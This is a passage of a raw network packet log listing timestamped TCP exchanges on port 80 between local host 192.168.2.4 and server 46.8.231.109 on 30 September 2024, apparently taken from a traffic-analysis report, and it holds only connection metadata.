Sep 30, 2024 12:22:51.584541082 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.584561110 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584562063 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.584573030 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584595919 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.584604979 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.584635019 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584645033 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584656000 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584664106 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.584676981 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.584716082 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.584742069 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584753036 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584763050 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584775925 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584781885 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.584786892 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584796906 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.584798098 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.584836006 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.585154057 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.585201025 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.585211039 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.585236073 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.585252047 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.585261106 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.585270882 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.585283995 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.585295916 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.585295916 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.585333109 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.585347891 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.646409988 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.646424055 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.646435976 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.646470070 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.646486998 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.646545887 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.646555901 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.646567106 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.646584988 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.646590948 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.646599054 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.646608114 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.646617889 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.646626949 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.646639109 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.646639109 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.646650076 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.646663904 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.646682978 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.646696091 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.646732092 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.646755934 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.646765947 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.646770954 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.646784067 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.646811008 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.655550957 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.655563116 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.655574083 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.655602932 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.655607939 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.655613899 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.655625105 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.655631065 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.655636072 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.655656099 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.655670881 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.655690908 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.664110899 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.664154053 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.664181948 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.664203882 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.664215088 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.664225101 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.664236069 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.664236069 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.664247990 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.664259911 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.664267063 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.664268970 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.664278984 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.664280891 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.664304018 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.664309978 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.664319992 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.664330006 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.664330959 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.664340973 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.664355040 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.664355040 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.664375067 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.664638042 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.664680958 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.664829016 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.664840937 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.664850950 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.664870024 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.664881945 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.664968014 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.664984941 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.664994955 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665004969 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665014982 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.665015936 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665026903 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665036917 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665041924 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.665047884 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665052891 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.665057898 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665069103 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665069103 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.665085077 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665092945 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.665096998 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665107012 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665117979 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.665122986 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665132999 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665138960 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.665149927 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.665178061 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.665328026 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665344000 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665354013 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665364027 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665374994 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665384054 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.665393114 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.665416956 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.665482044 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665518999 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.665534973 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665548086 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665565968 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.665587902 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.665643930 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665654898 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665664911 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.665682077 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.665704012 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.674105883 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674118042 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674129963 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674139977 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674151897 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674161911 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674171925 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674177885 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.674182892 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674196005 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674206972 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674217939 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674228907 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674226999 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.674249887 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.674272060 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.674374104 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674412966 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.674427986 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674438000 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674463034 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674463987 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.674473047 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674511909 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.674643993 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674684048 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.674701929 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674712896 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674724102 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674742937 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.674772024 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.674779892 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674789906 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674799919 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674812078 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674825907 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.674851894 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.674921989 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674941063 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674952030 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.674957037 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.674985886 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.675151110 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.675162077 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.675172091 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.675194025 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.675218105 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.675245047 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.675255060 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.675265074 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.675276995 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.675282955 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.675311089 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.675329924 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.675496101 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.675548077 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.675560951 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.675571918 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.675607920 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.675725937 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.675738096 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.675748110 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.675757885 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.675767899 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.675792933 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.676064014 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.676075935 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.676084995 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.676100969 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.676105022 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.676112890 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.676117897 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.676122904 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.676153898 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.736948013 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.736965895 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.736978054 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.736987114 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.736991882 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.736999035 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.737010956 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.737019062 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.737026930 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.737052917 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.737071037 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.737096071 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.737107038 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.737118006 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.737131119 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.737128019 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.737144947 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.737144947 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.737160921 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.737189054 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.737199068 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.737263918 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.737279892 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.737294912 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.746032000 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.746051073 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.746062040 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.746074915 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.746093988 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.746104956 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.746105909 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.746124029 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.746151924 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.746180058 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.746191978 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.746217966 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.746227980 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.754518032 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.754528046 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.754539013 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.754558086 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.754578114 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.754580021 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.754590034 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.754601002 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.754611969 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.754620075 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.754652023 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.754695892 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.754728079 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.754731894 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.754798889 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.754817963 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.754827976 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.754838943 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.754861116 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.754864931 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.754872084 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.754874945 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.754903078 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.754924059 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.755019903 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755055904 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755090952 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.755106926 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755117893 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755127907 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755145073 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.755166054 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.755196095 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755206108 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755217075 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755238056 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.755259037 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.755388975 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755430937 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.755441904 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755454063 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755485058 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.755492926 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755503893 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755515099 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755534887 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.755548000 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.755588055 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755598068 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755609035 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755625010 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.755650997 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.755783081 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755857944 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755867958 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755896091 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.755904913 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755914927 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.755918026 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.755938053 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.755949974 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.756042957 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.756081104 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.756086111 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.756093025 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.756103039 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.756117105 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.756128073 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.756145000 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.756243944 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.756253958 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.756264925 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.756274939 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.756283998 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.756315947 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.764904022 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.764921904 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.764931917 CEST	80	52540	46.8.231.109	192.168.2.4
